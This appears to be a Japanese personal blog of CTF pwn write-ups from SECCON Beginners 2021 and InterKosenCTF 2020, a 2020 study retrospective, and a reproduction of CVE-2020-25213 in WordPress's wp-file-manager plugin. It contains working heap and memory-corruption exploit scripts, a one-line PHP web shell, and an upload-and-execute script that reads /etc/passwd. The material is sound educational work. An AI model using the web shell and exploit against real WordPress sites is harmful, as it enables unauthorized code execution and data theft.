  • 複数回freeをしてtcacheのlinkをfree_hookに書き換える
  • free_hookの中身をsystemのアドレスに書き換える
  • nameを"/bin/sh\x00"にしたhourseをfreeしてsystem("/bin/sh")で起動
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
HOST = "uma-catch.quals.beginners.seccon.jp"
PORT = 4101

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    conn = remote(HOST, PORT)
    libc = ELF('./libc-2.27.so')
    off_start_main = libc.symbols["__libc_start_main"] + 231
else:
    conn = process(FILE_NAME)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    off_start_main = libc.symbols["__libc_start_main"] + 243

off_free_hook = libc.symbols["__free_hook"]
off_system = libc.symbols["system"]
off_binsh = next(libc.search(b"/bin/sh"))

def catch(idx):
    conn.sendlineafter("> ", "1")
    conn.sendlineafter("> ", str(idx))
    conn.sendlineafter("> ", "bay")

def name(idx, n):
    conn.sendlineafter("> ", "2")
    conn.sendlineafter("> ", str(idx))
    conn.sendafter("> ", n)

def show(idx):
    conn.sendlineafter("> ", "3")
    conn.sendlineafter("> ", str(idx))

def dance(idx):
    conn.sendlineafter("> ", "4")
    conn.sendlineafter("> ", str(idx))

def delete(idx):
    conn.sendlineafter("> ", "5")
    conn.sendlineafter("> ", str(idx))

def exploit():
    catch(0)
    name(0,"%11$p\n")  # fsb
    show(0)                # libc address leak
    libc_base = int(conn.recvline(),16) - off_start_main
    libc_free_hook = libc_base + off_free_hook
    libc_system = libc_base + off_system
    
    catch(1)
    delete(0)
    delete(1)
    
    name(1, p64(libc_free_hook)+b"\n")  # link _free_hook to tcache
    catch(2)
    catch(3)                           # get a chunk on _free_hook
    name(3, p64(libc_system)+b"\n")        # [_free_hook] = system()
    name(2, "/bin/sh\x00\n")
    
    delete(2)                          # free("/bin/sh") => system("/bin/sh")
    #print(hex(first_chk))
    #print(hex(libc_base))
    conn.interactive()  

if __name__ == "__main__":
    exploit()   

2021_emulator(pwn)

簡易エミューレータの問題です。
ソースが配られているのはありがたいです。

ソースコード一部抜粋

struct emulator {
    uint8_t         registers[REGISTERS_COUNT];
    uint8_t         memory[0x4000];
    void (*instructions[0xFF])(struct emulator*);
};  

構造体emulatorにはレジスタとメモリと命令の関数テーブルが配置されているのですが、memoryの範囲外のアクセスができてしまう脆弱性があるので関数テーブルを書き換えることができてしまいます。
instructions[0x00]をplt_systemにし、regsiters[0]="s", registers[1]="h", registers[2]="\x00"の状態でemulatorが0x00に当たる命令を実行しようとすると emu->instructions[0x00](emu) ==> system("sh")が呼ばれshellが立ち上がります。

#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
#"""
HOST = "emulator.quals.beginners.seccon.jp"
PORT = 4100
"""
HOST = "localhost"
PORT = 7777
#"""

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    conn = remote(HOST, PORT)
else:
    conn = process(FILE_NAME)

elf = ELF(FILE_NAME)

def exploit():
    
    # plt_system = 0x4010d0
    mvi_a   = b"\x3e"
    mvi_b   = b"\x06"
    mvi_c   = b"\x0e"
    mvi_h   = b"\x26"
    mvi_l   = b"\x2e"
    mvi_m   = b"\x36"
    
    payload = b""
    
    payload += mvi_h
    payload += b"\x40"      
    payload += mvi_l
    payload += b"\x04"      
    payload += mvi_m
    payload += b"\xd0"       
    payload += mvi_l         
    payload += b"\x05"
    payload += mvi_m
    payload += b"\x10"      
    payload += mvi_a
    payload += b"s"
    payload += mvi_b
    payload += b"h"
    payload += mvi_c
    payload += b"\x00"
    payload += b"\x00"      #emu->instruction[0x00](emu) ---> plt_system("sh\x00")
    payload += b"\xc9\n"

    conn.sendlineafter("memory...\n", payload)
    conn.interactive()  

if __name__ == "__main__":
    exploit()   

First Bloodでした。(やったね)

freeless(pwn)

free関数なしでどうにかしましょうという問題です。
これはhouse of orangeと呼ばれるテクニックの一部を使うとfreeなしでchunkをfreelistにつなぐことができることが知られています。
問題バイナリのeditコマンドにはヒープオーバーフローの脆弱性があるためこれが使えそうです。
ザックリ説明するとtopのsizeを改変してそのsizeよりも大きいサイズのchunkを用意すると改変されたtopのchunkがfreeされるといった要領です。

日本語での詳しい説明は有料になっちゃいますが、kusanoさんの書籍がよく纏まっていてわかりやすかったです。

Malleus CTF Pwn Second Edition:superflip

※追記: 「CTFするぞ」にないわけがなかった。過去の自分も読んでstarを押していたのにこのエントリの存在忘れていました。

house of orangeによりmallocから_int_freeを呼ぶ - CTFするぞ

freelistにchunkを繋ぐことさえできれば、ヒープオーバーフローもあり、mallocできる回数に制限はありますが、sizeの制限は厳しくないので比較的自由なexploitを組むことができます。

自分はtcacheにつなげたchunkでheapアドレスリーク、unsorted binのchunkを作ってlibcリーク、tcache poisoningでtcache_perthread_structをlinkに繋いで任意のアドレスを自由に確保できるようにしました。
そして_IO_list_all, vtable(_IO_file_jumps), malloc_hook周辺のアドレスをchunkとして確保してFSOPという流れです。

ただプログラムの終了に使われている関数はexit()でなく、_exit()であるためFSOPで使う_IO_flush_all_lockpが呼ばれません。そのためmalloc_hookをexit()にして無理やりFSOPに持ち込みました。

FSOPについての資料は自分はこれで理解できました。
前者は前まで英語verもあったが現在は中国語しかないみたい?もしかしたら微妙かもです。

FILE结构 - CTF Wiki

Play with FILE Structure - Yet Another Binary Exploit Technique

#!/usr/bin/python3
from pwn import *
import sys

#import kmpwn
sys.path.append('/home/vagrant/kmpwn')
from kmpwn import *
# fsb(width, offset, data, padding, roop)
# sop()
# fake_file()

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
#"""
HOST = "freeless.quals.beginners.seccon.jp"
PORT = 9077
"""
HOST = "localhost"
PORT = 7777
"""

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    conn = remote(HOST, PORT)
else:
    conn = process(FILE_NAME)

elf = ELF(FILE_NAME)

libc = ELF('./libc-2.31.so')
off_unsorted = libc.symbols["__malloc_hook"] + 0x70
off_malloc_hook = libc.symbols["__malloc_hook"]
off_io_list = libc.symbols["_IO_list_all"]
off_vtable = libc.symbols["_IO_file_jumps"]
off_system = libc.symbols["system"]
off_exit = libc.symbols["exit"]

def create(idx, size):
    conn.sendlineafter("> ", "1")
    conn.sendlineafter(": ", str(idx))
    conn.sendlineafter(": ", str(size-0x8))

def edit(idx, data):
    conn.sendlineafter("> ", "2")
    conn.sendlineafter(": ", str(idx))
    conn.sendlineafter(": ", data)

def show(idx):
    conn.sendlineafter("> ", "3")
    conn.sendlineafter(": ", str(idx))
    conn.recvuntil("data: ")

def exploit():
    payload = b"A"*0x18
    payload += p64(0x71)
    
    create(0, 0xd00-0x20) 
    create(1, 0x20)         
    edit(1, payload)           # overwrite top size
    
    create(2, 0x1000-0x20-0x70) 
    create(3, 0x20)
    edit(3, payload)           # overwrite top size

    payload = b"A"*0x18
    payload += p64(0x51)
    
    payload = b"A"*0x18
    payload += p64(0x441)
    create(4, 0x1000-0x20-0x440)
    create(5, 0x20)
    edit(5, payload)
    
    create(6, 0x1000)
    leak_padding = b"A"*0x1f + b"X"
    edit(5, leak_padding)
    show(5)
    conn.recvuntil("AX")
    libc_unsorted = u64(conn.recv(6)+b"\x00\x00")
    libc_base = libc_unsorted - off_unsorted
    libc_io_list = libc_base + off_io_list
    libc_vtable = libc_base + off_vtable
    libc_system = libc_base + off_system
    libc_malloc_hook = libc_base + off_malloc_hook
    libc_exit = libc_base + off_exit

    payload = b"A"*0x18+p64(0x421)
    edit(5, payload)

    edit(3, leak_padding)
    show(3)
    conn.recvuntil("AX")
    heap_addr = conn.recvline()[:-1]
    heap_base = u64(heap_addr + b"\x00"*(8-len(heap_addr))) -0x290-(0xd00-0x20)-0x20-0x10
    
    edit(3, b"A"*0x20+p64(heap_base+0x10))
    create(7, 0x50)
    create(8, 0x50)
    fake_tcache_struct = b"\x07\x00"*0x40
    fake_tcache_struct += p64(libc_io_list)
    fake_tcache_struct += p64(libc_vtable)
    fake_tcache_struct += p64(libc_malloc_hook)
    edit(8, fake_tcache_struct)
    create(9, 0x20)
    edit(9, p64(heap_base+0x290+0x10))
    create(10, 0x30)
    edit(10, p64(0)+p64(libc_system))
    create(11, 0x40)
    edit(11, p64(libc_exit))

    fake_file = file_plus_struct()  
    fake_file._flags = u64("/bin/sh\x00")
    fake_file._IO_write_ptr = 1
    fake_file._IO_write_base = 0
    fake_file._vtable = libc_vtable-0x10
    edit(0, fake_file.get_payload())
    
    create(15, 0x100)             # call malloc() -> exit()
    
    print(hex(libc_base))
    print(hex(heap_base))
    conn.interactive()  

if __name__ == "__main__":
    exploit()

First Bloodでした。(やったね)

にしても、beginnersが集まる大会にしてはsolves多かった印象です。 2021_emulatorより遥かに難しいと思っています。

writeme(misc)

チームメイトntomoya氏とあさっち氏が/proc/self/memでの書き換えだったり、id(1)でのアドレスリークの主要なアイデアを出してくれた&トドメをさしてくれたのでほぼ何もしていませんが。。。

id(1),id(2)の実行結果、メモリダンプを見ると id(1) -> 0x954e20 id(2) -> 0x954e40

0x954e20:    0x000000000000032c  0x000000000090a3e0
0x954e30:   0x0000000000000001  0x0000000000000001
0x954e40:   0x0000000000000229  0x000000000090a3e0
0x954e50:   0x0000000000000001  0x0000000000000002
0x954e60:   0x000000000000011c  0x000000000090a3e0
0x954e70:   0x0000000000000001  0x0000000000000003
0x954e80:   0x0000000000000167  0x000000000090a3e0
0x954e90:   0x0000000000000001  0x0000000000000004
0x954ea0:   0x00000000000000a5  0x000000000090a3e0
0x954eb0:   0x0000000000000001  0x0000000000000005

となっていて、実行結果のoffset0x18がその整数を表していそうなので、gdb python3でその箇所を書き換えてみたところプログラムが落ちてしまい、これじゃないか。。と思っていたのですが、どうやらそれで正解だったみたいです。
ローカルだとなぜ動かなかったのでしょうか。。。pythonインタープリタだからだったのか、よくわかっていません。。。

終わりに(ぽえむ)

昨年も言った気がするのですが、自分はctf4bは第1回からの皆勤賞で193位->9位->3位->1位みたいな感じで来ていて、第1回はwelcome,easyあたりを2~3問しか解けなかったと思うので、今回初参加してあんまり解けなかったって人もこれから頑張ればいいと思います。

個人的な意見ですが、解けなくてモチベが下がる気持ちもわかりますが、継続することと同じレベルくらいのメンバーでモチベーションを高め合うのが大事な気がします。

最近ではKUDoSも参加するctfを絞るようになってきましたが、チーム参加〜1年くらいの間は幣チームのリーダーが毎週末狂ったようにslackにctfのアナウンスを投げ続けてくれていたので、これが自分にとってのモチベーション維持の面で大きかったのかなと思います。

と調子に乗って偉そうなことを言ってしまいましたが、海外大会とかになるとまだまだ実力不足なのでこれからも頑張りたい次第です。 今年は海外クソデカつよつよCTFでも30位以内に入ることを目標にしております。

special thanks ctf4b 運営・作問の方々
毎年本当に高い質のCTFをありがとうございます。
難易度は難しい、難化したみたいな声がありますが、個人的にはとても良い難易度の問題セットだと思っています。

special thanks2 一緒に参加してくれたメンバー

f:id:kam1tsur3:20210523094330p:plain
members
しょうおもんないおじさんが3人くらいいますね

勉強したこと&やったことまとめ(2020年)

あけましておめでとうございます。

ということで、かなり遅いけど2020年振り返ってみた。
覚えている限りで自分の読んだ本、やったことまとめる。 昨年はプライベートでバタバタしたけど、それなりにいろいろ吸収できたと思う。

書籍

気づけばプロ並みPHP改訂版

www.amazon.co.jp

動機: web系の脆弱性周りについて勉強したかったので、とりあえずPHPをやっておく必要があると感じたから買った。

感想: 初心者向けの本としては悪くないと思う。個人的には書かれてるコードはあんまり好きじゃない。ちなみにセキュリティの項目はおまけ程度。

railsやった後に思ったけど、PHPフレームワークを最初から触ってもよかったかもって思った。

徳丸本

www.amazon.co.jp

動機: webセキュリティに入門したかった。

感想:とても良かった。実際に動いているところを見て理解できる。みんなが勧める理由もわかる。

Goならわかるシステムプログラミング

www.amazon.co.jp

動機: go言語知りたくなってtour of goで一通り 勉強した後、面白そうだから買った。
感想: レベルとしては大学で勉強するOS、システムプログラミングの基礎知識みたいな感じだったけど、自分みたいなgo初学者からするとサンプルコードいっぱい書いたりして面白かった。 序盤は章末に問題があったのが、中盤からなくなってしまったのが少し残念だった。元々asciiでの連載してた内容だったのもあって忙しかったのかな。

Javascript Primer

www.amazon.co.jp

動機: CTFで出題されるJSのexploitを習得したかったが、JS何もわからんってなったので買った。
感想: JS複雑すぎる。とても面白かったし、読みやすかった。一通り文法や仕様について解説した後、最後にちょろっとコードを書く章もあって良い。
たまたま読んだ後に仕事でもJavaScript書く機会があったからちょうど良かった。

Real World HTTP

www.amazon.co.jp

動機: web周りの知識が欲しかった。面白そうだった。著者が前述のgoならわかるシスプロの人。
感想: HTTPとかWebアプリとかの知識について、歴史に沿いながら学べる。とても良かった。goで簡単な実装ができるのも良い。

めんどうくさいWebセキュリティ

www.amazon.co.jp

動機: web周りの知識が欲しかった。CTFのチームメイトに勧められた。
感想: 正直難しくて、理解できたのが30%くらいだと思う。ブラウザの歴史がわかるところとか、IEに対する皮肉がたびたび出てくるのは面白かったけど、ブラウザの仕様とかについての知識が不足していてわからない章はとことんわからなかった。サンプルコードとか例がないのもキツかった。わかる人はとても面白いと思う。初学者にはきついかも。自分がいつも感じる翻訳本独特の読み辛さはこの本はマシだった。

CTF

都合いい奴なので成績が良かったやつ書く

SECCON Beginners 2020 3位
InterKosenCTF 4位
TSGCTF 17位
b01lerCTF 12位
SECCON2020 Online 15位
Harekaze mini CTF 6位

国内CTFで上位とってイキるのは今年で終わりにしたいな。 来年は海外CTFでも30位以内入れる大会を増やすこと目標頑張る。

その他

Arm binary exploit

とりあえずazeriaの記事読んでlabを進めた。

azeria-labs.com

x86,x64の基本的なbinary exploitができたらそんなに難しくない。Thumb理解したらropもshellcodeも簡単なやつは書けるようになる。 その後rootmeで数問解いた以降続きはやれていない。CTFでもまだarmの問題はあんまり見ていない気がする。今後増える可能性はあると思ってるんだけど。

Burp Web Academy

チームメイトに進められてやったけど、めちゃくちゃ良かった。Labがよく作り込まれている。解説もあるしこれが無料は正直引く。

portswigger.net

2~3ヶ月くらいかけてチマチマ進めた。 textは全部読んで、一通りの脆弱性の説明は抑えた。labは解説見てもわからんのとburp pro使わないといけない問題とかが残っていて80%くらい。ちゃんと完走したいね。

Browser Exploit 入門

厳密に言うとJavasciptCoreしか入門できてない。
liveoverflowの動画めっちゃわかりやすいし、本当に面白かった。Browser Exploitできるやつ天才すぎる。 www.youtube.com

何問か解いてみたい過去問の目星はついてるんだけどまとまった時間が欲しくて、まだできていない。これは言い訳でよくない。

Rails Tutorial

railstutorial.jp

webアプリのフレームワークをnodejsのexpressくらいしか触ったことなかったので、メジャーなやつ触りたいと思ったからやった。
めちゃくちゃ良かったし、学生時代に触っておけば良かったと思った。プログラミング初心者にはこれを勧めるべきでは。

まとめ

armにwebにブラウザに、、少し手を広げすぎた感が否めない。もっと深掘りしようと思う。
社会人慣れてきた感あるし、今年はCTFと並行してbug bountyとかにも挑戦したい。
今年もよろしくお願いします。

やりつくされたCVE-2020-25213のPoC検証をあえてやる

一応肩書きがセキュリティエンジニアになったので、セキュリティエンジニアならPoCくらい動かさんかい、ということで2020年9月頃に情報公開されたwordpressのfile-managerプラグイン脆弱性であるCVE-2020-25213のPoC検証をやろうと思います。

なんでこれ選んだかの理由は特にないです。強いて言えばwordpress触ったことないし、結構話題になっていた気がしたからです。

別に新しいことを書くとかではないです。メモ程度に。

環境構築

Dockerでwordpress,mysqlのイメージから作成
file-managerの脆弱なバージョンのzipも持ってきておいて、コンテナにアップロード、展開しておきます。

6.9未満が対象で今回は6.0を使ってます。公式が配布している過去バージョンから取得。
https://wordpress.org/plugins/wp-file-manager/advanced/

適当に作ったDockerfile,PoC諸々はこちら

github.com

検証

file-managerはwordpressのサーバにファイルをアップロードするためのプラグインで、本来FTPとかを利用してアップロードするものを管理者画面からアップロードできるようにする機能が使えます。 機能的にも結構使われていたっぽいですね。

とりあえずPoC動かしましょう。
最初にブラウザからアクセスして初期設定を行って、 f:id:kam1tsur3:20201113170034p:plain file-mangerも有効にしておきます。 f:id:kam1tsur3:20201113170042p:plain では実行しましょう。

  1. wp-content/plugins/wp-file-manager/lib/php/connector.minimal.phpに対してPOSTメソッドでphpファイルのアップロードを行います。
  2. アップロードされたファイルはwp-content/plugins/wp-file-manager/lib/files下にアップロードされるのでそこにアクセスすれば任意のphpコードの実行が可能です。

とても簡単。
PoCではクエリのパラメータのコマンドを実行するようなphpをアップロードしています。ネット上のレポート見ても実際この類の攻撃が行われていたようです。

アップロードするcmd.php

<?php echo system($_GET["cmd"]);?>

exploitコード

#!/usr/local/bin/python3                                                                                                                             
                                                                                                                                                     
import requests                                                                                                                                      
                                                                                                                                                     
url = "http://localhost:8080/wp-content/plugins/wp-file-manager/lib"                                                                                 
                                                                                                                                                     
def exploit():                                                                                                                                       
    # set post request parameters                                                                                                                    
    file_name = 'cmd.php'                                                                                                                            
    cmd = 'cat /etc/passwd'                                                                                                                          
    data = (                                                                                                                                         
        ('upload[]', open(file_name, 'rb')),                                                                                                         
        ('cmd', (None, 'upload')),                                                                                                                   
        ('target', (None, 'l1_Lw'))                                                                                                                  
    )                                                                                                                                                
                                                                                                                                                     
    # upload php                                                                                                                                     
    res = requests.post("{}/php/connector.minimal.php".format(url), files=data)                                                                      
                                                                                                                                                     
    print(res.status_code)                                                                                                                           
    print(res.text)                                                                                                                                  
                                                                                                                                                     
    # execute php                                                                                                                                    
    res = requests.get("{0}/files/{1}?cmd={2}".format(url,file_name,cmd))                                                                            
                                                                                                                                                     
    print(res.status_code)                                                                                                                           
    print(res.text)                                                                                                                                  
                                                                                                                                                     
exploit()

脆弱性の原因

file-managerが使用している、サーバ上のファイルを扱うライブラリelFinderのインスタンスが外部のユーザが参照できるlib/phpディレクトリ下のconnector.minimal.phpで呼び出せてしまうのが原因。

↓wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php(一部)

...
$opts = array(
        // 'debug' => true,
        'roots' => array(
                // Items volume
                array(
                        'driver'        => 'LocalFileSystem',           // driver for accessing file system (REQUIRED)
                        'path'          => '../files/',                 // path to files (REQUIRED)
                        'URL'           => dirname($_SERVER['PHP_SELF']) . '/../files/', // URL to files (REQUIRED)
                        'trashHash'     => 't1_Lw',                     // elFinder's hash of trash folder
                        'winHashFix'    => DIRECTORY_SEPARATOR !== '/', // to make hash same to Linux one on windows too
                        'uploadDeny'    => array('all'),                // All Mimetypes not allowed to upload
                        'uploadAllow'   => array('all'), // Mimetype `image` and `text/plain` allowed to upload
                        'uploadOrder'   => array('deny', 'allow'),      // allowed Mimetype `image` and `text/plain` only
                        'accessControl' => 'access'                     // disable and hide dot starting files (OPTIONAL)
                ),
                // Trash volume
                array(
                        'id'            => '1',
                        'driver'        => 'Trash',
                        'path'          => '../files/.trash/',
                        'tmbURL'        => dirname($_SERVER['PHP_SELF']) . '/../files/.trash/.tmb/',
                        'winHashFix'    => DIRECTORY_SEPARATOR !== '/', // to make hash same to Linux one on windows too
                        'uploadDeny'    => array('all'),                // Recomend the same settings as the original volume that uses the trash
                        'uploadAllow'   => array('image/x-ms-bmp', 'image/gif', 'image/jpeg', 'image/png', 'image/x-icon', 'text/plain'), // Same as 
above
                        'uploadOrder'   => array('deny', 'allow'),      // Same as above
                        'accessControl' => 'access',                    // Same as above
                ),
        )
);

// run elFinder
$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
...

せっかくなので$connector->run()について、もう少し動作を追ってみましょう。 ↓wp-content/plugins/wp-file-manager/lib/php/elFinderConnector.class.php(重要なところ抜粋)

class elFinderConnector
{
    ...
    public function run()
    {
        $isPost = $this->reqMethod === 'POST';
        $src = $isPost ? array_merge($_GET, $_POST) : $_GET;
        ...
        $cmd = isset($src['cmd']) ? $src['cmd'] : '';
        $args = array();
        ...
        $hasFiles = false;
        foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {
            if ($name === 'FILES') {
                if (isset($_FILES)) {
                    $hasFiles = true;
                } elseif ($req) {
                    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS, $cmd)));
                }
            } else {
                $arg = isset($src[$name]) ? $src[$name] : '';

                if (!is_array($arg) && $req !== '') {
                    $arg = trim($arg);
                }
                ...
                $args[$name] = $arg;
            }
        }
        ...
        $args = $this->input_filter($args);
        if ($hasFiles) {
            $args['FILES'] = $_FILES;
        }

        try {
            $this->output($this->elFinder->exec($cmd, $args));
        } catch (elFinderAbortException $e) {
         ...   
        }
    }
    ...
}

ここのポイントはPOSTで指定したcmd=uploadが$cmdに、target=l1_LW,アップロードしたファイルをが$argsに入りelFinder->exec($cmd,$args)が呼ばれているということ。

ではelFinderを見ていく。 ↓wp-content/plugins/wp-file-manager/lib/php/elFinder.class.php(重要なところ抜粋)

class elFinder
{
    ...
    protected $commands = array(
        'abort' => array('id' => true),
        'archive' => array('targets' => true, 'type' => true, 'mimes' => false, 'name' => false),
        'callback' => array('node' => true, 'json' => false, 'bind' => false, 'done' => false),
        'chmod' => array('targets' => true, 'mode' => true),
        'dim' => array('target' => true, 'substitute' => false),
        'duplicate' => array('targets' => true, 'suffix' => false),
        'editor' => array('name' => true, 'method' => true, 'args' => false),
        'extract' => array('target' => true, 'mimes' => false, 'makedir' => false),
        'file' => array('target' => true, 'download' => false, 'cpath' => false, 'onetime' => false),
        'get' => array('target' => true, 'conv' => false),
        'info' => array('targets' => true, 'compare' => false),
        'ls' => array('target' => true, 'mimes' => false, 'intersect' => false),
        'mkdir' => array('target' => true, 'name' => false, 'dirs' => false),
        'mkfile' => array('target' => true, 'name' => true, 'mimes' => false),
        'netmount' => array('protocol' => true, 'host' => true, 'path' => false, 'port' => false, 'user' => false, 'pass' => false, 'alias' => false,
 'options' => false),
        'open' => array('target' => false, 'tree' => false, 'init' => false, 'mimes' => false, 'compare' => false),
        'parents' => array('target' => true, 'until' => false),
        'paste' => array('dst' => true, 'targets' => true, 'cut' => false, 'mimes' => false, 'renames' => false, 'hashes' => false, 'suffix' => false
),
        'put' => array('target' => true, 'content' => '', 'mimes' => false, 'encoding' => false),
        'rename' => array('target' => true, 'name' => true, 'mimes' => false, 'targets' => false, 'q' => false),
        'resize' => array('target' => true, 'width' => false, 'height' => false, 'mode' => false, 'x' => false, 'y' => false, 'degree' => false, 'qua
lity' => false, 'bg' => false),
        'rm' => array('targets' => true),
        'search' => array('q' => true, 'mimes' => false, 'target' => false, 'type' => false),
        'size' => array('targets' => true),
        'subdirs' => array('targets' => true),
        'tmb' => array('targets' => true),
        'tree' => array('target' => true),
        'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => 
false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => 
false, 'contentSaveId' => false),
        'url' => array('target' => true, 'options' => false),
        'zipdl' => array('targets' => true, 'download' => false)
    );

    ...
    public function exec($cmd, $args)
    {
        ...
        $dstVolume = false;
        $dst = !empty($args['target']) ? $args['target'] : (!empty($args['dst']) ? $args['dst'] : '');
        if ($dst) {
            $dstVolume = $this->volume($dst);
        } else if (isset($args['targets']) && is_array($args['targets']) && isset($args['targets'][0])) {
            ...
        } else if ($cmd === 'open') {
            ...
        }

        $result = null;
        ...
        if (!is_array($result)) {
            try {
                $result = $this->$cmd($args);
            } catch (elFinderAbortException $e) {
                throw $e;
            } catch (Exception $e) {
               ...
            }
        }
        ...
    }
    ...
    protected function volume($hash)
    {
        foreach ($this->volumes as $id => $v) {
            if (strpos('' . $hash, $id) === 0) {
                return $this->volumes[$id];
            }
        }
        return false;
    }
    ...
}

exec()の中では$this->$cmd($args);が呼ばれている、つまりelFinderのuploadメソッドが呼ばれている。 このuploadメソッドの中でファイルアップロードの処理が行われている。exploitコードでtargetに指定したl1_LwはelFinderクラスで管理しているvolumeを識別するようなものらしい。これがちょっとよくわからなかった。ソースコード見ているとg1_Lwや$optに指定されているt1_Lwとかは出てくるのだが、命名規則も不明。分かったら追記しようかなと。

少し追ったことからわかるように、実はupload以外のコマンドも実行しようと思えばできるみたい。まあ攻撃となると任意コード、コマンド実行が可能なuploadが一択だと思うけど。

参考にしたサイト
www.wordfence.com

対策

6.9以降で対策されているので更新しましょう。 6.9のパッケージを見るとwp-content/plugins/wp-file-manager/lib/php/connector.minimal.phpが消されてた。これで外部のユーザがelFinderのインスタンスを自由に使えなくなった。

おわりに

ポエムは見返すと恥ずかしくなる。以上。

InterKosenCTF 2020 Writeup

初めに

InterKosenCTFにKUDoSで参加しました。最終順位は4位となかなかいい感じでした。
自分が解いたpwnの問題4問のwriteupを書きます。
よろしくです。

babysort

概要

配布ファイル
* main.c
* chall(問題バイナリ)

ファイルコマンド結果
* Arch : x86-64
* Library : Dynamically linked
* Symbol :Not stripped

checksec結果
* RELRO : Partial RELRO
* Canary : Disable
* NX : Enable
* PIE : Disable

libcのqsortを利用した問題。qsortは関数ポインタを第4引数にとっており、qsortが呼ばれると登録した関数が呼ばれてソートが行われるみたいです(自分も調べるまで使ったことなかったので、こういうのは出てきたら適宜調べればいいと思います)。

ユーザは最初に5つの数字をscanfで配列se.elmに入力して、その後0か1の入力で予めse.cmp[]に登録された関数をqsortの引数に渡して実行をするような流れです。

typedef int (*SORTFUNC)(const void*, const void*);

typedef struct {
  long elm[5];
  SORTFUNC cmp[2];
} SortExperiment;

/* call me! */
void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
}

int cmp_asc(const void *a, const void *b) { return *(long*)a - *(long*)b; }
int cmp_dsc(const void *a, const void *b) { return *(long*)b - *(long*)a; }

int main(void) {
  SortExperiment se = {.cmp = {cmp_asc, cmp_dsc}};
  int i;

  /* input numbers */
  puts("-*-*- Sort Experiment -*-*-");
  for(i = 0; i < 5; i++) {
    printf("elm[%d] = ", i);
    if (scanf("%ld", &se.elm[i]) != 1) exit(1);
  }

  /* sort */
  printf("[0] Ascending / [1] Descending: ");
  if (scanf("%d", &i) != 1) exit(1);
  qsort(se.elm, 5, sizeof(long), se.cmp[i]);

  /* output result */
  puts("Result:");
  for(i = 0; i < 5; i++) {
    printf("elm[%d] = %ld\n", i, se.elm[i]);
  }
  return 0;
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(300);
}

方針

後半の0か1を入力して関数を呼び出す際の入力のチェックが行われていないところに脆弱性があります。 例えば-1を入力するとse.cmp[-1]がqsortの呼び出しに当たって呼び出されます。se.cmp[-1]はメモリ上だとse.elm[4]を指しているので、前半se.elm[]に値を入力する際にripを飛ばしたい値をセットすることで、任意のアドレスに飛ぶことができます。
バイナリにはshellが起動するwin関数が用意されているのでこちらに飛ばしましょう。

Exploit

github.com

authme

概要

配布ファイル
* main.c
* password(dummy)
* username(dummy)
* chall(問題バイナリ)

ファイルコマンド結果
* Arch : x86-64
* Library : Dynamically linked
* Symbol :Not stripped

checksec結果
* RELRO : Partial RELRO
* Canary : Disable
* NX : Enable
* PIE : Disable

username,passwordファイルを予めグローバルなchar配列に読み込み、
ユーザーはfgetsを2回繰り返し、usernameとpasswordを入力。
ファイルから読み込んだusername,passwordと一緒ならシェルが起動するという流れ。

方針

bufのサイズが0x20なのに対してfgetsが入力サイズを0x40を指定しているので、BOF脆弱性があります。
ただし、普通に入力をし実行していると、mainからreturnが行われずexit()でmain関数が終了するので、BOFを起こしたとしても任意のアドレスに飛ぶことができません。

f:id:kam1tsur3:20200906235902p:plain

idaのグラフビューをみるとわかりやすいですが、BOFを起こしてかつmainからreturnするには、1回目のfgetsでBOFを起こして2回目のfgetsの返り値を0(null)にできれば、攻撃が成功しそうです。

fgetsの返り値ですが、manualを見ると成功した場合は文字列を読み込んだアドレスが返り、EOFを読み込んだかつ1文字も読み込めなかった場合にエラーとしてnullが返るようです。
なので、2回目のfgetsでEOFを送れば良さそうです。
ただEOFで入力を閉じてしまうと、シェルが起動できてもcatコマンド等が打てないので、今回はシェルの起動はなくusernameとpasswordをputsでリークすることを目標にしましょう。
BOFでstackに仕込める値も3qwordなのでgadget(pop rdi; ret), username or passwordのアドレス,plt_putsで良さそうです。

が、、、EOFってどうやって送るんでしょうか?? 自分はこれに無限に時間を溶かしました。。。0x03や0x04を送ってみてもダメ。。。EOFの送信とかについて調べてもパッとした情報に辿り着けませんでした。

試行錯誤した結果、最終的な僕の解法はこれです(クソださ)

$(python -c 'print "A"*0x28 + "\x03\x0b\x40\x00\x00\x00\x00\x00\xe0\x20\x60\x00\x00\x00\x00\x00\xa0\x06\x40\x00\x00\x00\x00"'|tr -d "\n";cat ) |nc -q 3 pwn.kosenctf.com 9002

ターミナル上で上記のコマンドを打ったあと、手打ちでCtrl-Dを押してやります。そうするとputsによるリークができるので、この情報を使って正規にauthlizationを行い/bin/shを起動しましょう。

余談

上のコマンドにたどり着くまでの過程ですが

$echo "payload"|./chall

ローカルだとこれで入力を閉じれて、putsが実行されましたが、

$echo "payload"|nc host port

これはダメでした。ソケットだとまた別なんでしょうか。

次にやったこととして

$(echo "payload";cat)|nc host port

catで入力できるようにしつつ、手打ちでCtrl-Dを押してEOFを送ろうという目論見です。 これもダメでした。ただCtrl-Dは送信できていて、Ctrl-Dの後に改行等を送信しても何も反応がなく、時間が経つとalarmで強制終了になってしまいます。

そこで解法のnc -qオプションでtimeoutを指定する方法を試し、コマンド入力後Ctrl-Dを手打ちすると、、、

$(echo "payload";cat) |nc -q (timeout) host port

できました。もうパソコンよくわかりません。qオプションを指定しないとEOF後も入力を待ち続けちゃうのでしょうか。。。

Exploit

github.com

Fables_of_aeSOP

概要

配布ファイル
* chall(問題バイナリ)
* libc-2.23.so
* banner.txt

ファイルコマンド結果
